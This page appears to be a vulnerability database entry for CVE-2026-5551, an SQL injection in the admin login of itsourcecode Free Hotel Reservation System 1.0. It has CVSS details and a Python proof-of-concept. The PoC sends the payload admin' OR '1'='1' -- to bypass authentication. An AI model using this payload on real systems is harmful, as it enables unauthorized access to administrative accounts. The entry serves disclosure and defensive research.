Security Vulnerability Report
中文
CVE-2026-5551 CVSS 7.3 HIGH

CVE-2026-5551

Published: 2026-04-05 09:16:18
Last Modified: 2026-04-29 01:00:02

Description

A security flaw has been discovered in itsourcecode Free Hotel Reservation System 1.0. This vulnerability affects unknown code of the file /hotel/admin/login.php of the component Parameter Handler. The manipulation of the argument email results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

itsourcecode Free Hotel Reservation System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual target) target_url = "http://target-ip/hotel/admin/login.php" # SQL Injection Payload for email parameter # Attempting to bypass authentication or extract data payload_data = { "email": "admin' OR '1'='1' -- ", "password": "random" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if login was successful or SQL error occurred if response.status_code == 200 and ("dashboard" in response.text.lower() or "admin" in response.text.lower()): print("[+] Potential SQL Injection successful! Login bypassed.") elif "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] SQL Injection vulnerable. Database error detected.") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}")

References

Raw JSON Data

JSON
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